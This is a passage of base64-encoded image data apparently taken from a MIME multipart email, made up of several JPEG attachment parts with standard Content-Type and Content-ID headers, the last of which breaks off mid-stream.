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 f+YfVMN/z7j9yP/Z ------=_NextPart_1 Content-Type: image/jpg; Content-Transfer-Encoding: base64 Content-ID: <2B_line_3.jpg> /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJ ChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/ 2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQAlgDASIAAhEBAxEB/8QA HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUF BAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1 dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEB AQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAEC AxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRom JygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU 1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD6pooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAA0lKaSolu MKKKKkBKKKKzAKY/UfWn1HJ2qJ6oqO4tRjpSYoxURi0WkNn7/jTRmnzf403n 0rCoveuUthuX9BTZ/wDVN+FOHHf9aZMCIiPoKxqXadkUtyvSgU3d/vUnzeh/ KuJQa6G1iTmqmCTVoBu+ao7396irHmtuXTVyfmmkelQl5Pely/qTWTbeiTNO UjlB8w0BG9DUc27zTye3rUZL+9clrSd4s2S0LIjkPb9RUcsEz7cJ+o/xpiyS D+9TJpphjEkg69CaufJJXd/6+QKMr6WJvsV033Y/1FH9lXZ/5Y/kwqr9oue0 sv8A30aX7Rd/895v++z/AI1nzYd6SjL8P8iuWr3RO+kX7KR5Of8Aga/41GNE 1DvB/wCRF/xqKW8vAhxcz/8Afw1X+23p6XVz/wB/WrOf1NP3oT+9f5FRjW6N fc/8y6dF1LtAf++1/wAaQaLqWf8AUH/vtf8AGqf2+8/5+7n/AL+tSHULv/n6 ucf9dWpN4J68s/vX+RfLX7r7n/mTf2Bqf/Pt/wCPr/jUR8P6r/z6f+RF/wAa pHUtQ/5/Lv8A7+tSDUdQ/wCfy6/7+tXO5YCX2J/fH/I3UcSusfuf+ZdPh7Vc 8Wv/AJEX/GmN4c1Ukn7J/wCRE/xqsdR1D/n9uv8Av61V31PUg/8Ax/3eP+ur Vm/qEdeSf3x/+RLjHEvrH7n/AJl3/hGtX/59P/Iqf40f8I1q/wDz5j/v6n+N Z39ral/0ELv/AL+tR/a2pf8AP/df9/WqXLL3vGp96/8AkTTkxfeP3P8AzL0n hjWDjFp/5ET/AOKqM+Fta/59B/38T/4qs+XV9TGMaheD/ts1M/tfU/8An/vf /AhqTll7+zP74/8AyJpGGLtvH7n/AJml/wAIrrX/AD6D/v4n/wAVTf8AhFNZ /wCfIf8AfxP/AIqs7+2dS/6CF5/4ENTTrGqD/mJXn/f9qn/hOX2Z/fH/AORK UMZ3j9z/AMzSPhTWu1l/5Fj/AMaT/hFNb/58/wDyKn+NZX9s6r/0Er3/AL/v /jR/bOqf9BK9/wC/7/41XNl38s/vj/8AIlcmM7x+5/5mr/wimt/8+J/7+x// ABVN/wCET1zvZn/v7H/8VWX/AGxqv/QTvf8Av+3+NN/tnVv+gje/+BDf40c2 XP7M/vj/APIj5MZ3j9z/AMzX/wCEU1v/AJ8T/wB/o/8A4qk/4RPW/wDnyI/7 ax/41k/2zq3/AEEb3/wIb/Gj+2dW/wCgje/+BDf40r5d/LP74/8AyI+TGd4/ c/8AM1/+EU1v/nxP/f6P/wCKpP8AhE9b/wCfIj/trH/jWT/bOrf9BG9/8CG/ xo/tnVv+gje/+BDf4075d/LP74//ACIcmM7x+5/5mv8A8Iprf/Pif+/sf/xV J/wiet/8+R/7+x/41k/2zq3/AEEb3/wIb/Gj+2dW/wCgje/+BDf40Xy7+Wf3 x/8AkQ5MZ3j9z/zNf/hFNb/58T/3+j/+KpP+ET1ztZn/AL+x/wDxVZP9s6t/ 0Eb3/wACG/xo/tnVv+gje/8AgQ3+NK+Xfyz++P8A8iHJjO8fuf8Ama//AAim t/8APif+/sf/AMVRWR/bOrf9BG9/8CG/xop82Xfyz++P/wAiL2eM7x+5/wCZ /9k= ------=_NextPart_1 Content-Type: image/jpg; Content-Transfer-Encoding: base64 Content-ID: <3B_71078522.jpg> /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJ ChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/ 2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCABlAJYDASIAAhEBAxEB/8QA HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUF BAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1 dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEB AQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAEC AxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRom JygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU 1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD2SwvDuGSQ K24tQzhV/E5riILo8Y/AVrWVxiMknmuZVD0ZUL6nWLd8AdTQ91gcdawYLnjc TUwn9eabqmaoWZswXGXq6zgpmuehnKtx3q4LnIAPapjWXUmdF30Kmp87xzz6 VgGL52zwe1bV5J5jEVnTxhm3HsK83Eyuz0sP7qsZzp5bHd/F0qvOm1S2c5/S rWw9WPTpVd2y5B5FeezviVSjErs3E5xgd6o+NdUi8NaHMCQ15KBxuxt6cCty OaOwtJL6cjEQLBTXgXjjxDLrmqSyOx8vJwM1pBG9KLnK72X5nO6vey3tw0sp JZz61Daac8zgt/KrulWLXlwD0Ud67qw0RIIAxySTxkdeetXOqqasjpVPnd2c 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 kMgckswPrRRRVEH/2Q== ------=_NextPart_1 Content-Type: image/jpg; Content-Transfer-Encoding: base64 Content-ID: <4B_line_3.jpg> /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJ ChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/ 2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQAlgDASIAAhEBAxEB/8QA HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUF BAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1 dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEB AQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAEC AxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRom JygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU 1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD6pooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAA0lKaSolu MKKKKkBKKKKzAKY/UfWn1HJ2qJ6oqO4tRjpSYoxURi0WkNn7/jTRmnzf403n 0rCoveuUthuX9BTZ/wDVN+FOHHf9aZMCIiPoKxqXadkUtyvSgU3d/vUnzeh/ KuJQa6G1iTmqmCTVoBu+ao7396irHmtuXTVyfmmkelQl5Pely/qTWTbeiTNO UjlB8w0BG9DUc27zTye3rUZL+9clrSd4s2S0LIjkPb9RUcsEz7cJ+o/xpiyS D+9TJpphjEkg69CaufJJXd/6+QKMr6WJvsV033Y/1FH9lXZ/5Y/kwqr9oue0 sv8A30aX7Rd/895v++z/AI1nzYd6SjL8P8iuWr3RO+kX7KR5Of8Aga/41GNE 1DvB/wCRF/xqKW8vAhxcz/8Afw1X+23p6XVz/wB/WrOf1NP3oT+9f5FRjW6N fc/8y6dF1LtAf++1/wAaQaLqWf8AUH/vtf8AGqf2+8/5+7n/AL+tSHULv/n6 ucf9dWpN4J68s/vX+RfLX7r7n/mTf2Bqf/Pt/wCPr/jUR8P6r/z6f+RF/wAa 